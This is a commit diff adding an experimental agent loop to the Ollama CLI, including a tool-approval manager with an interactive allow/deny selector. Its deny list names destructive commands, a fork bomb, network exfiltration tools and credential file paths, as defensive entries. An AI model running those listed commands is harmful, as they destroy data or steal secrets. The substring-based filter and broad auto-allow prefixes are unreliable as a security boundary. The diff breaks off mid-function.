x: add skills spec for custom tool definitions

Add a JSON-based skills specification system that allows users to define
custom tools loaded by the experimental agent loop. Skills are auto-discovered
from standard locations (./ollama-skills.json, ~/.ollama/skills.json,
~/.config/ollama/skills.json).

Features:
- SkillSpec schema with parameters and executor configuration
- Script executor that runs commands with JSON args via stdin
- /skills reload command for runtime skill reloading
- Comprehensive validation and error handling

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

cmd/cmd.go

@@ -45,6 +45,7 @@ import (
 	"github.com/ollama/ollama/types/model"
 	"github.com/ollama/ollama/types/syncmap"
 	"github.com/ollama/ollama/version"
+	xcmd "github.com/ollama/ollama/x/cmd"
 )
 
 const ConnectInstructions = "To sign in, navigate to:\n    %s\n\n"
@@ -517,6 +518,9 @@ func RunHandler(cmd *cobra.Command, args []string) error {
 		return generateEmbedding(cmd, name, opts.Prompt, opts.KeepAlive, truncate, dimensions)
 	}
 
+	// Check for experimental flag
+	isExperimental, _ := cmd.Flags().GetBool("experimental")
+
 	if interactive {
 		if err := loadOrUnloadModel(cmd, &opts); err != nil {
 			var sErr api.AuthorizationError
@@ -543,6 +547,11 @@ func RunHandler(cmd *cobra.Command, args []string) error {
 			}
 		}
 
+		// Use experimental agent loop with
+		if isExperimental {
+			return xcmd.GenerateInteractive(cmd, opts.Model, opts.WordWrap, opts.Options, opts.Think, opts.HideThinking, opts.KeepAlive)
+		}
+
 		return generateInteractive(cmd, opts)
 	}
 	return generate(cmd, opts)
@@ -1754,6 +1763,7 @@ func NewCLI() *cobra.Command {
 	runCmd.Flags().Bool("hidethinking", false, "Hide thinking output (if provided)")
 	runCmd.Flags().Bool("truncate", false, "For embedding models: truncate inputs exceeding context length (default: true). Set --truncate=false to error instead")
 	runCmd.Flags().Int("dimensions", 0, "Truncate output embeddings to specified dimension (embedding models only)")
+	runCmd.Flags().Bool("experimental", false, "Enable experimental agent loop with tools")
 
 	stopCmd := &cobra.Command{
 		Use:     "stop MODEL",

cmd/interactive.go

@@ -40,6 +40,7 @@ func generateInteractive(cmd *cobra.Command, opts runOptions) error {
 		fmt.Fprintln(os.Stderr, "  /bye            Exit")
 		fmt.Fprintln(os.Stderr, "  /?, /help       Help for a command")
 		fmt.Fprintln(os.Stderr, "  /? shortcuts    Help for keyboard shortcuts")
+
 		fmt.Fprintln(os.Stderr, "")
 		fmt.Fprintln(os.Stderr, "Use \"\"\" to begin a multi-line message.")
 

readline/readline.go

@@ -30,7 +30,7 @@ func (p *Prompt) placeholder() string {
 }
 
 type Terminal struct {
-	outchan chan rune
+	reader  *bufio.Reader
 	rawmode bool
 	termios any
 }
@@ -264,36 +264,21 @@ func NewTerminal() (*Terminal, error) {
 	if err != nil {
 		return nil, err
 	}
-
+	if err := UnsetRawMode(fd, termios); err != nil {
-	t := &Terminal{
+		return nil, err
-		outchan: make(chan rune),
-		rawmode: true,
-		termios: termios,
 	}
 
-	go t.ioloop()
+	t := &Terminal{
+		reader: bufio.NewReader(os.Stdin),
+	}
 
 	return t, nil
 }
 
-func (t *Terminal) ioloop() {
-	buf := bufio.NewReader(os.Stdin)
-
-	for {
-		r, _, err := buf.ReadRune()
-		if err != nil {
-			close(t.outchan)
-			break
-		}
-		t.outchan <- r
-	}
-}
-
 func (t *Terminal) Read() (rune, error) {
-	r, ok := <-t.outchan
+	r, _, err := t.reader.ReadRune()
-	if !ok {
+	if err != nil {
-		return 0, io.EOF
+		return 0, err
 	}
-
 	return r, nil
 }

x/agent/approval.go

@@ -0,0 +1,953 @@
+// Package agent provides agent loop orchestration and tool approval.
+package agent
+
+import (
+	"fmt"
+	"os"
+	"path/filepath"
+	"strings"
+	"sync"
+
+	"golang.org/x/term"
+)
+
+// ApprovalDecision represents the user's decision for a tool execution.
+type ApprovalDecision int
+
+const (
+	// ApprovalDeny means the user denied execution.
+	ApprovalDeny ApprovalDecision = iota
+	// ApprovalOnce means execute this one time only.
+	ApprovalOnce
+	// ApprovalAlways means add to session allowlist.
+	ApprovalAlways
+)
+
+// ApprovalResult contains the decision and optional deny reason.
+type ApprovalResult struct {
+	Decision   ApprovalDecision
+	DenyReason string
+}
+
+// Option labels for the selector (numbered for quick selection)
+var optionLabels = []string{
+	"1. Execute once",
+	"2. Always allow",
+	"3. Deny",
+}
+
+// autoAllowCommands are commands that are always allowed without prompting.
+// These are zero-risk, read-only commands.
+var autoAllowCommands = map[string]bool{
+	"pwd":      true,
+	"echo":     true,
+	"date":     true,
+	"whoami":   true,
+	"hostname": true,
+	"uname":    true,
+}
+
+// autoAllowPrefixes are command prefixes that are always allowed.
+// These are read-only or commonly-needed development commands.
+var autoAllowPrefixes = []string{
+	// Git read-only
+	"git status", "git log", "git diff", "git branch", "git show",
+	"git remote -v", "git tag", "git stash list",
+	// Package managers - run scripts
+	"npm run", "npm test", "npm start",
+	"bun run", "bun test",
+	"uv run",
+	"yarn run", "yarn test",
+	"pnpm run", "pnpm test",
+	// Package info
+	"go list", "go version", "go env",
+	"npm list", "npm ls", "npm version",
+	"pip list", "pip show",
+	"cargo tree", "cargo version",
+	// Build commands
+	"go build", "go test", "go fmt", "go vet",
+	"make", "cmake",
+	"cargo build", "cargo test", "cargo check",
+}
+
+// denyPatterns are dangerous command patterns that are always blocked.
+var denyPatterns = []string{
+	// Destructive commands
+	"rm -rf", "rm -fr",
+	"mkfs", "dd if=", "dd of=",
+	"shred",
+	"> /dev/", ">/dev/",
+	// Privilege escalation
+	"sudo ", "su ", "doas ",
+	"chmod 777", "chmod -R 777",
+	"chown ", "chgrp ",
+	// Network exfiltration
+	"curl -d", "curl --data", "curl -X POST", "curl -X PUT",
+	"wget --post",
+	"nc ", "netcat ",
+	"scp ", "rsync ",
+	// History and credentials
+	"history",
+	".bash_history", ".zsh_history",
+	".ssh/id_rsa", ".ssh/id_dsa", ".ssh/id_ecdsa", ".ssh/id_ed25519",
+	".ssh/config",
+	".aws/credentials", ".aws/config",
+	".gnupg/",
+	"/etc/shadow", "/etc/passwd",
+	// Dangerous patterns
+	":(){ :|:& };:", // fork bomb
+	"chmod +s",      // setuid
+	"mkfifo",
+}
+
+// denyPathPatterns are file patterns that should never be accessed.
+// These are checked as exact filename matches or path suffixes.
+var denyPathPatterns = []string{
+	".env",
+	".env.local",
+	".env.production",
+	"credentials.json",
+	"secrets.json",
+	"secrets.yaml",
+	"secrets.yml",
+	".pem",
+	".key",
+}
+
+// ApprovalManager manages tool execution approvals.
+type ApprovalManager struct {
+	allowlist map[string]bool // exact matches
+	prefixes  map[string]bool // prefix matches for bash commands (e.g., "cat:tools/")
+	mu        sync.RWMutex
+}
+
+// NewApprovalManager creates a new approval manager.
+func NewApprovalManager() *ApprovalManager {
+	return &ApprovalManager{
+		allowlist: make(map[string]bool),
+		prefixes:  make(map[string]bool),
+	}
+}
+
+// IsAutoAllowed checks if a bash command is auto-allowed (no prompt needed).
+func IsAutoAllowed(command string) bool {
+	command = strings.TrimSpace(command)
+
+	// Check exact command match (first word)
+	fields := strings.Fields(command)
+	if len(fields) > 0 && autoAllowCommands[fields[0]] {
+		return true
+	}
+
+	// Check prefix match
+	for _, prefix := range autoAllowPrefixes {
+		if strings.HasPrefix(command, prefix) {
+			return true
+		}
+	}
+
+	return false
+}
+
+// IsDenied checks if a bash command matches deny patterns.
+// Returns true and the matched pattern if denied.
+func IsDenied(command string) (bool, string) {
+	commandLower := strings.ToLower(command)
+
+	// Check deny patterns
+	for _, pattern := range denyPatterns {
+		if strings.Contains(commandLower, strings.ToLower(pattern)) {
+			return true, pattern
+		}
+	}
+
+	// Check deny path patterns
+	for _, pattern := range denyPathPatterns {
+		if strings.Contains(commandLower, strings.ToLower(pattern)) {
+			return true, pattern
+		}
+	}
+
+	return false, ""
+}
+
+// FormatDeniedResult returns the tool result message when a command is blocked.
+func FormatDeniedResult(command string, pattern string) string {
+	return fmt.Sprintf("Command blocked: this command matches a dangerous pattern (%s) and cannot be executed. If this command is necessary, please ask the user to run it manually.", pattern)
+}
+
+// extractBashPrefix extracts a prefix pattern from a bash command.
+// For commands like "cat tools/tools_test.go | head -200", returns "cat:tools/"
+// For commands without path args, returns empty string.
+func extractBashPrefix(command string) string {
+	// Split command by pipes and get the first part
+	parts := strings.Split(command, "|")
+	firstCmd := strings.TrimSpace(parts[0])
+
+	// Split into command and args
+	fields := strings.Fields(firstCmd)
+	if len(fields) < 2 {
+		return ""
+	}
+
+	baseCmd := fields[0]
+	// Common commands that benefit from prefix allowlisting
+	// These are typically safe for read operations on specific directories
+	safeCommands := map[string]bool{
+		"cat": true, "ls": true, "head": true, "tail": true,
+		"less": true, "more": true, "file": true, "wc": true,
+		"grep": true, "find": true, "tree": true, "stat": true,
+		"sed": true,
+	}
+
+	if !safeCommands[baseCmd] {
+		return ""
+	}
+
+	// Find the first path-like argument (must contain / or start with .)
+	// First pass: look for clear paths (containing / or starting with .)
+	for _, arg := range fields[1:] {
+		// Skip flags
+		if strings.HasPrefix(arg, "-") {
+			continue
+		}
+		// Skip numeric arguments (e.g., "head -n 100")
+		if isNumeric(arg) {
+			continue
+		}
+		// Only process if it looks like a path (contains / or starts with .)
+		if !strings.Contains(arg, "/") && !strings.HasPrefix(arg, ".") {
+			continue
+		}
+		// If arg ends with /, it's a directory - use it directly
+		if strings.HasSuffix(arg, "/") {
+			return fmt.Sprintf("%s:%s", baseCmd, arg)
+		}
+		// Get the directory part of a file path
+		dir := filepath.Dir(arg)
+		if dir == "." {
+			// Path is just a directory like "tools" or "src" (no trailing /)
+			return fmt.Sprintf("%s:%s/", baseCmd, arg)
+		}
+		return fmt.Sprintf("%s:%s/", baseCmd, dir)
+	}
+
+	// Second pass: if no clear path found, use the first non-flag argument as a filename
+	for _, arg := range fields[1:] {
+		if strings.HasPrefix(arg, "-") {
+			continue
+		}
+		if isNumeric(arg) {
+			continue
+		}
+		// Treat as filename in current dir
+		return fmt.Sprintf("%s:./", baseCmd)
+	}
+
+	return ""
+}
+
+// isNumeric checks if a string is a numeric value
+func isNumeric(s string) bool {
+	for _, c := range s {
+		if c < '0' || c > '9' {
+			return false
+		}
+	}
+	return len(s) > 0
+}
+
+// isCommandOutsideCwd checks if a bash command targets paths outside the current working directory.
+// Returns true if any path argument would access files outside cwd.
+func isCommandOutsideCwd(command string) bool {
+	cwd, err := os.Getwd()
+	if err != nil {
+		return false // Can't determine, assume safe
+	}
+
+	// Split command by pipes and semicolons to check all parts
+	parts := strings.FieldsFunc(command, func(r rune) bool {
+		return r == '|' || r == ';' || r == '&'
+	})
+
+	for _, part := range parts {
+		part = strings.TrimSpace(part)
+		fields := strings.Fields(part)
+		if len(fields) == 0 {
+			continue
+		}
+
+		// Check each argument that looks like a path
+		for _, arg := range fields[1:] {
+			// Skip flags
+			if strings.HasPrefix(arg, "-") {
+				continue
+			}
+
+			// Treat POSIX-style absolute paths as outside cwd on all platforms.
+			if strings.HasPrefix(arg, "/") || strings.HasPrefix(arg, "\\") {
+				return true
+			}
+
+			// Check for absolute paths outside cwd
+			if filepath.IsAbs(arg) {
+				absPath := filepath.Clean(arg)
+				if !strings.HasPrefix(absPath, cwd) {
+					return true
+				}
+				continue
+			}
+
+			// Check for relative paths that escape cwd (e.g., ../foo, /etc/passwd)
+			if strings.HasPrefix(arg, "..") {
+				// Resolve the path relative to cwd
+				absPath := filepath.Join(cwd, arg)
+				absPath = filepath.Clean(absPath)
+				if !strings.HasPrefix(absPath, cwd) {
+					return true
+				}
+			}
+
+			// Check for home directory expansion
+			if strings.HasPrefix(arg, "~") {
+				home, err := os.UserHomeDir()
+				if err == nil && !strings.HasPrefix(home, cwd) {
+					return true
+				}
+			}
+		}
+	}
+
+	return false
+}
+
+// AllowlistKey generates the key for exact allowlist lookup.
+func AllowlistKey(toolName string, args map[string]any) string {
+	if toolName == "bash" {
+		if cmd, ok := args["command"].(string); ok {
+			return fmt.Sprintf("bash:%s", cmd)
+		}
+	}
+	return toolName
+}
+
+// IsAllowed checks if a tool/command is allowed (exact match or prefix match).
+func (a *ApprovalManager) IsAllowed(toolName string, args map[string]any) bool {
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+
+	// Check exact match first
+	key := AllowlistKey(toolName, args)
+	if a.allowlist[key] {
+		return true
+	}
+
+	// For bash commands, check prefix matches
+	if toolName == "bash" {
+		if cmd, ok := args["command"].(string); ok {
+			prefix := extractBashPrefix(cmd)
+			if prefix != "" && a.prefixes[prefix] {
+				return true
+			}
+		}
+	}
+
+	// Check if tool itself is allowed (non-bash)
+	if toolName != "bash" && a.allowlist[toolName] {
+		return true
+	}
+
+	return false
+}
+
+// AddToAllowlist adds a tool/command to the session allowlist.
+// For bash commands, it adds the prefix pattern instead of exact command.
+func (a *ApprovalManager) AddToAllowlist(toolName string, args map[string]any) {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+
+	if toolName == "bash" {
+		if cmd, ok := args["command"].(string); ok {
+			prefix := extractBashPrefix(cmd)
+			if prefix != "" {
+				a.prefixes[prefix] = true
+				return
+			}
+			// Fall back to exact match if no prefix extracted
+			a.allowlist[fmt.Sprintf("bash:%s", cmd)] = true
+			return
+		}
+	}
+	a.allowlist[toolName] = true
+}
+
+// RequestApproval prompts the user for approval to execute a tool.
+// Returns the decision and optional deny reason.
+func (a *ApprovalManager) RequestApproval(toolName string, args map[string]any) (ApprovalResult, error) {
+	// Format tool info for display
+	toolDisplay := formatToolDisplay(toolName, args)
+
+	// Enter raw mode for interactive selection
+	fd := int(os.Stdin.Fd())
+	oldState, err := term.MakeRaw(fd)
+	if err != nil {
+		// Fallback to simple input if terminal control fails
+		return a.fallbackApproval(toolDisplay)
+	}
+
+	// Flush any pending stdin input before starting selector
+	// This prevents buffered input from causing double-press issues
+	flushStdin(fd)
+
+	// Check if bash command targets paths outside cwd
+	isWarning := false
+	if toolName == "bash" {
+		if cmd, ok := args["command"].(string); ok {
+			isWarning = isCommandOutsideCwd(cmd)
+		}
+	}
+
+	// Run interactive selector
+	selected, denyReason, err := runSelector(fd, oldState, toolDisplay, isWarning)
+	if err != nil {
+		term.Restore(fd, oldState)
+		return ApprovalResult{Decision: ApprovalDeny}, err
+	}
+
+	// Restore terminal
+	term.Restore(fd, oldState)
+
+	// Map selection to decision
+	switch selected {
+	case -1: // Ctrl+C cancelled
+		return ApprovalResult{Decision: ApprovalDeny, DenyReason: "cancelled"}, nil
+	case 0:
+		return ApprovalResult{Decision: ApprovalOnce}, nil
+	case 1:
+		return ApprovalResult{Decision: ApprovalAlways}, nil
+	default:
+		return ApprovalResult{Decision: ApprovalDeny, DenyReason: denyReason}, nil
+	}
+}
+
+// formatToolDisplay creates the display string for a tool call.
+func formatToolDisplay(toolName string, args map[string]any) string {
+	var sb strings.Builder
+
+	// For bash, show command directly
+	if toolName == "bash" {
+		if cmd, ok := args["command"].(string); ok {
+			sb.WriteString(fmt.Sprintf("Tool: %s\n", toolName))
+			sb.WriteString(fmt.Sprintf("Command: %s", cmd))
+			return sb.String()
+		}
+	}
+
+	// For web search, show query
+	if toolName == "web_search" {
+		if query, ok := args["query"].(string); ok {
+			sb.WriteString(fmt.Sprintf("Tool: %s\n", toolName))
+			sb.WriteString(fmt.Sprintf("Query: %s", query))
+			return sb.String()
+		}
+	}
+
+	// Generic display
+	sb.WriteString(fmt.Sprintf("Tool: %s", toolName))
+	if len(args) > 0 {
+		sb.WriteString("\nArguments: ")
+		first := true
+		for k, v := range args {
+			if !first {
+				sb.WriteString(", ")
+			}
+			sb.WriteString(fmt.Sprintf("%s=%v", k, v))
+			first = false
+		}
+	}
+	return sb.String()
+}
+
+// selectorState holds the state for the interactive selector
+type selectorState struct {
+	toolDisplay string
+	selected    int
+	totalLines  int
+	termWidth   int
+	termHeight  int
+	boxWidth    int
+	innerWidth  int
+	denyReason  string // deny reason (always visible in box)
+	isWarning   bool   // true if command targets paths outside cwd (red box)
+}
+
+// runSelector runs the interactive selector and returns the selected index and optional deny reason.
+// If isWarning is true, the box is rendered in red to indicate the command targets paths outside cwd.
+func runSelector(fd int, oldState *term.State, toolDisplay string, isWarning bool) (int, string, error) {
+	state := &selectorState{
+		toolDisplay: toolDisplay,
+		selected:    0,
+		isWarning:   isWarning,
+	}
+
+	// Get terminal size
+	state.termWidth, state.termHeight, _ = term.GetSize(fd)
+	if state.termWidth < 20 {
+		state.termWidth = 80 // fallback
+	}
+
+	// Calculate box width: 90% of terminal, min 24, max 60
+	state.boxWidth = (state.termWidth * 90) / 100
+	if state.boxWidth > 60 {
+		state.boxWidth = 60
+	}
+	if state.boxWidth < 24 {
+		state.boxWidth = 24
+	}
+	// Ensure box fits in terminal
+	if state.boxWidth > state.termWidth-1 {
+		state.boxWidth = state.termWidth - 1
+	}
+	state.innerWidth = state.boxWidth - 4 // account for "│ " and " │"
+
+	// Calculate total lines (will be updated by render)
+	state.totalLines = calculateTotalLines(state)
+
+	// Hide cursor during selection (show when in deny mode)
+	fmt.Fprint(os.Stderr, "\033[?25l")
+	defer fmt.Fprint(os.Stderr, "\033[?25h") // Show cursor when done
+
+	// Initial render
+	renderSelectorBox(state)
+
+	numOptions := len(optionLabels)
+
+	for {
+		// Read input
+		buf := make([]byte, 8)
+		n, err := os.Stdin.Read(buf)
+		if err != nil {
+			clearSelectorBox(state)
+			return 2, "", err
+		}
+
+		// Process input byte by byte
+		for i := 0; i < n; i++ {
+			ch := buf[i]
+
+			// Check for escape sequences (arrow keys)
+			if ch == 27 && i+2 < n && buf[i+1] == '[' {
+				oldSelected := state.selected
+				switch buf[i+2] {
+				case 'A': // Up arrow
+					if state.selected > 0 {
+						state.selected--
+					}
+				case 'B': // Down arrow
+					if state.selected < numOptions-1 {
+						state.selected++
+					}
+				}
+				if oldSelected != state.selected {
+					updateSelectorOptions(state)
+				}
+				i += 2 // Skip the rest of escape sequence
+				continue
+			}
+
+			switch {
+			// Ctrl+C - cancel
+			case ch == 3:
+				clearSelectorBox(state)
+				return -1, "", nil // -1 indicates cancelled
+
+			// Enter key - confirm selection
+			case ch == 13:
+				clearSelectorBox(state)
+				if state.selected == 2 { // Deny
+					return 2, state.denyReason, nil
+				}
+				return state.selected, "", nil
+
+			// Number keys 1-3 for quick select
+			case ch >= '1' && ch <= '3':
+				selected := int(ch - '1')
+				clearSelectorBox(state)
+				if selected == 2 { // Deny
+					return 2, state.denyReason, nil
+				}
+				return selected, "", nil
+
+			// Backspace - delete from reason (UTF-8 safe)
+			case ch == 127 || ch == 8:
+				if len(state.denyReason) > 0 {
+					runes := []rune(state.denyReason)
+					state.denyReason = string(runes[:len(runes)-1])
+					updateReasonInput(state)
+				}
+
+			// Escape - clear reason
+			case ch == 27:
+				if len(state.denyReason) > 0 {
+					state.denyReason = ""
+					updateReasonInput(state)
+				}
+
+			// Printable ASCII (except 1-3 handled above) - type into reason
+			case ch >= 32 && ch < 127:
+				maxLen := state.innerWidth - 2
+				if maxLen < 10 {
+					maxLen = 10
+				}
+				if len(state.denyReason) < maxLen {
+					state.denyReason += string(ch)
+					// Auto-select Deny option when user starts typing
+					if state.selected != 2 {
+						state.selected = 2
+						updateSelectorOptions(state)
+					} else {
+						updateReasonInput(state)
+					}
+				}
+			}
+		}
+	}
+}
+
+// wrapText wraps text to fit within maxWidth, returning lines
+func wrapText(text string, maxWidth int) []string {
+	if maxWidth < 5 {
+		maxWidth = 5
+	}
+	var lines []string
+	for _, line := range strings.Split(text, "\n") {
+		if len(line) <= maxWidth {
+			lines = append(lines, line)
+			continue
+		}
+		// Wrap long lines
+		for len(line) > maxWidth {
+			// Try to break at space
+			breakAt := maxWidth
+			for i := maxWidth; i > maxWidth/2; i-- {
+				if i < len(line) && line[i] == ' ' {
+					breakAt = i
+					break
+				}
+			}
+			lines = append(lines, line[:breakAt])
+			line = strings.TrimLeft(line[breakAt:], " ")
+		}
+		if len(line) > 0 {
+			lines = append(lines, line)
+		}
+	}
+	return lines
+}
+
+// getHintLines returns the hint text wrapped to terminal width
+func getHintLines(state *selectorState) []string {
+	hint := "↑/↓ navigate, Enter confirm, 1-3 quick, Ctrl+C cancel"
+	if state.termWidth >= len(hint)+1 {
+		return []string{hint}
+	}
+	// Wrap hint to multiple lines
+	return wrapText(hint, state.termWidth-1)
+}
+
+// calculateTotalLines calculates how many lines the selector will use
+func calculateTotalLines(state *selectorState) int {
+	toolLines := wrapText(state.toolDisplay, state.innerWidth)
+	hintLines := getHintLines(state)
+	// top border + (warning line if applicable) + tool lines + separator + options + bottom border + hint lines
+	warningLines := 0
+	if state.isWarning {
+		warningLines = 1
+	}
+	return 1 + warningLines + len(toolLines) + 1 + len(optionLabels) + 1 + len(hintLines)
+}
+
+// renderSelectorBox renders the complete selector box
+func renderSelectorBox(state *selectorState) {
+	toolLines := wrapText(state.toolDisplay, state.innerWidth)
+	hintLines := getHintLines(state)
+
+	// Use red for warning (outside cwd), cyan for normal
+	boxColor := "\033[36m" // cyan
+	if state.isWarning {
+		boxColor = "\033[91m" // bright red
+	}
+
+	// Draw box top
+	fmt.Fprintf(os.Stderr, "%s┌%s┐\033[0m\033[K\r\n", boxColor, strings.Repeat("─", state.boxWidth-2))
+
+	// Draw warning line if needed (inside the box)
+	if state.isWarning {
+		warning := "!! OUTSIDE PROJECT !!"
+		padding := (state.innerWidth - len(warning)) / 2
+		if padding < 0 {
+			padding = 0
+		}
+		fmt.Fprintf(os.Stderr, "%s│\033[0m %s%s%s %s│\033[0m\033[K\r\n", boxColor,
+			strings.Repeat(" ", padding), warning, strings.Repeat(" ", state.innerWidth-len(warning)-padding), boxColor)
+	}
+
+	// Draw tool info
+	for _, line := range toolLines {
+		fmt.Fprintf(os.Stderr, "%s│\033[0m %-*s %s│\033[0m\033[K\r\n", boxColor, state.innerWidth, line, boxColor)
+	}
+
+	// Draw separator
+	fmt.Fprintf(os.Stderr, "%s├%s┤\033[0m\033[K\r\n", boxColor, strings.Repeat("─", state.boxWidth-2))
+
+	// Draw options with numbers (Deny option includes reason input)
+	for i, label := range optionLabels {
+		if i == 2 { // Deny option - show with reason input beside it
+			denyLabel := "3. Deny: "
+			availableWidth := state.innerWidth - 2 - len(denyLabel)
+			if availableWidth < 5 {
+				availableWidth = 5
+			}
+			inputDisplay := state.denyReason
+			if len(inputDisplay) > availableWidth {
+				inputDisplay = inputDisplay[len(inputDisplay)-availableWidth:]
+			}
+			if i == state.selected {
+				fmt.Fprintf(os.Stderr, "%s│\033[0m \033[1;32m> %s\033[0m%-*s %s│\033[0m\033[K\r\n", boxColor, denyLabel, availableWidth, inputDisplay, boxColor)
+			} else {
+				fmt.Fprintf(os.Stderr, "%s│\033[0m   \033[90m%s\033[0m%-*s %s│\033[0m\033[K\r\n", boxColor, denyLabel, availableWidth, inputDisplay, boxColor)
+			}
+		} else {
+			displayLabel := label
+			if len(displayLabel) > state.innerWidth-2 {
+				displayLabel = displayLabel[:state.innerWidth-5] + "..."
+			}
+			if i == state.selected {
+				fmt.Fprintf(os.Stderr, "%s│\033[0m \033[1;32m> %-*s\033[0m %s│\033[0m\033[K\r\n", boxColor, state.innerWidth-2, displayLabel, boxColor)
+			} else {
+				fmt.Fprintf(os.Stderr, "%s│\033[0m   %-*s %s│\033[0m\033[K\r\n", boxColor, state.innerWidth-2, displayLabel, boxColor)
+			}
+		}
+	}
+
+	// Draw box bottom
+	fmt.Fprintf(os.Stderr, "%s└%s┘\033[0m\033[K\r\n", boxColor, strings.Repeat("─", state.boxWidth-2))
+
+	// Draw hint (may be multiple lines)
+	for i, line := range hintLines {
+		if i == len(hintLines)-1 {
+			// Last line - no newline
+			fmt.Fprintf(os.Stderr, "\033[90m%s\033[0m\033[K", line)
+		} else {
+			fmt.Fprintf(os.Stderr, "\033[90m%s\033[0m\033[K\r\n", line)
+		}
+	}
+}
+
+// updateSelectorOptions updates just the options portion of the selector
+func updateSelectorOptions(state *selectorState) {
+	hintLines := getHintLines(state)
+
+	// Use red for warning (outside cwd), cyan for normal
+	boxColor := "\033[36m" // cyan
+	if state.isWarning {
+		boxColor = "\033[91m" // bright red
+	}
+
+	// Move up to the first option line
+	// Cursor is at end of last hint line, need to go up:
+	// (hint lines - 1) + 1 (bottom border) + numOptions
+	linesToMove := len(hintLines) - 1 + 1 + len(optionLabels)
+	fmt.Fprintf(os.Stderr, "\033[%dA\r", linesToMove)
+
+	// Redraw options (Deny option includes reason input)
+	for i, label := range optionLabels {
+		if i == 2 { // Deny option
+			denyLabel := "3. Deny: "
+			availableWidth := state.innerWidth - 2 - len(denyLabel)
+			if availableWidth < 5 {
+				availableWidth = 5
+			}
+			inputDisplay := state.denyReason
+			if len(inputDisplay) > availableWidth {
+				inputDisplay = inputDisplay[len(inputDisplay)-availableWidth:]
+			}
+			if i == state.selected {
+				fmt.Fprintf(os.Stderr, "%s│\033[0m \033[1;32m> %s\033[0m%-*s %s│\033[0m\033[K\r\n", boxColor, denyLabel, availableWidth, inputDisplay, boxColor)
+			} else {
+				fmt.Fprintf(os.Stderr, "%s│\033[0m   \033[90m%s\033[0m%-*s %s│\033[0m\033[K\r\n", boxColor, denyLabel, availableWidth, inputDisplay, boxColor)
+			}
+		} else {
+			displayLabel := label
+			if len(displayLabel) > state.innerWidth-2 {
+				displayLabel = displayLabel[:state.innerWidth-5] + "..."
+			}
+			if i == state.selected {
+				fmt.Fprintf(os.Stderr, "%s│\033[0m \033[1;32m> %-*s\033[0m %s│\033[0m\033[K\r\n", boxColor, state.innerWidth-2, displayLabel, boxColor)
+			} else {
+				fmt.Fprintf(os.Stderr, "%s│\033[0m   %-*s %s│\033[0m\033[K\r\n", boxColor, state.innerWidth-2, displayLabel, boxColor)
+			}
+		}
+	}
+
+	// Redraw bottom and hint
+	fmt.Fprintf(os.Stderr, "%s└%s┘\033[0m\033[K\r\n", boxColor, strings.Repeat("─", state.boxWidth-2))
+	for i, line := range hintLines {
+		if i == len(hintLines)-1 {
+			fmt.Fprintf(os.Stderr, "\033[90m%s\033[0m\033[K", line)
+		} else {
+			fmt.Fprintf(os.Stderr, "\033[90m%s\033[0m\033[K\r\n", line)
+		}
+	}
+}
+
+// updateReasonInput updates just the Deny option line (which contains the reason input)
+func updateReasonInput(state *selectorState) {
+	hintLines := getHintLines(state)
+
+	// Use red for warning (outside cwd), cyan for normal
+	boxColor := "\033[36m" // cyan
+	if state.isWarning {
+		boxColor = "\033[91m" // bright red
+	}
+
+	// Move up to the Deny line (3rd option, index 2)
+	// Cursor is at end of last hint line, need to go up:
+	// (hint lines - 1) + 1 (bottom border) + 1 (Deny is last option)
+	linesToMove := len(hintLines) - 1 + 1 + 1
+	fmt.Fprintf(os.Stderr, "\033[%dA\r", linesToMove)
+
+	// Redraw Deny line with reason
+	denyLabel := "3. Deny: "
+	availableWidth := state.innerWidth - 2 - len(denyLabel)
+	if availableWidth < 5 {
+		availableWidth = 5
+	}
+	inputDisplay := state.denyReason
+	if len(inputDisplay) > availableWidth {
+		inputDisplay = inputDisplay[len(inputDisplay)-availableWidth:]
+	}
+	if state.selected == 2 {
+		fmt.Fprintf(os.Stderr, "%s│\033[0m \033[1;32m> %s\033[0m%-*s %s│\033[0m\033[K\r\n", boxColor, denyLabel, availableWidth, inputDisplay, boxColor)
+	} else {
+		fmt.Fprintf(os.Stderr, "%s│\033[0m   \033[90m%s\033[0m%-*s %s│\033[0m\033[K\r\n", boxColor, denyLabel, availableWidth, inputDisplay, boxColor)
+	}
+
+	// Redraw bottom and hint
+	fmt.Fprintf(os.Stderr, "%s└%s┘\033[0m\033[K\r\n", boxColor, strings.Repeat("─", state.boxWidth-2))
+	for i, line := range hintLines {
+		if i == len(hintLines)-1 {
+			fmt.Fprintf(os.Stderr, "\033[90m%s\033[0m\033[K", line)
+		} else {
+			fmt.Fprintf(os.Stderr, "\033[90m%s\033[0m\033[K\r\n", line)
+		}
+	}
+}
+
+// clearSelectorBox clears the selector from screen
+func clearSelectorBox(state *selectorState) {
+	// Clear the current line (hint line) first
+	fmt.Fprint(os.Stderr, "\r\033[K")
+	// Move up and clear each remaining line
+	for range state.totalLines - 1 {
+		fmt.Fprint(os.Stderr, "\033[A\033[K")
+	}
+	fmt.Fprint(os.Stderr, "\r")
+}
+
+// fallbackApproval handles approval when terminal control isn't available.
+func (a *ApprovalManager) fallbackApproval(toolDisplay string) (ApprovalResult, error) {
+	fmt.Fprintln(os.Stderr)
+	fmt.Fprintln(os.Stderr, "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
+	fmt.Fprintln(os.Stderr, toolDisplay)
+	fmt.Fprintln(os.Stderr, "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
+	fmt.Fprintln(os.Stderr, "[1] Execute once  [2] Always allow  [3] Deny")
+	fmt.Fprint(os.Stderr, "Choice: ")
+
+	var input string
+	fmt.Scanln(&input)
+
+	switch input {
+	case "1":
+		return ApprovalResult{Decision: ApprovalOnce}, nil
+	case "2":
+		return ApprovalResult{Decision: ApprovalAlways}, nil
+	default:
+		fmt.Fprint(os.Stderr, "Reason (optional): ")
+		var reason string
+		fmt.Scanln(&reason)
+		return ApprovalResult{Decision: ApprovalDeny, DenyReason: reason}, nil
+	}
+}
+
+// Reset clears the session allowlist.
+func (a *ApprovalManager) Reset() {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	a.allowlist = make(map[string]bool)
+	a.prefixes = make(map[string]bool)
+}
+
+// AllowedTools returns a list of tools and prefixes in the allowlist.
+func (a *ApprovalManager) AllowedTools() []string {
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+
+	tools := make([]string, 0, len(a.allowlist)+len(a.prefixes))
+	for tool := range a.allowlist {
+		tools = append(tools, tool)
+	}
+	for prefix := range a.prefixes {
+		tools = append(tools, prefix+"*")
+	}
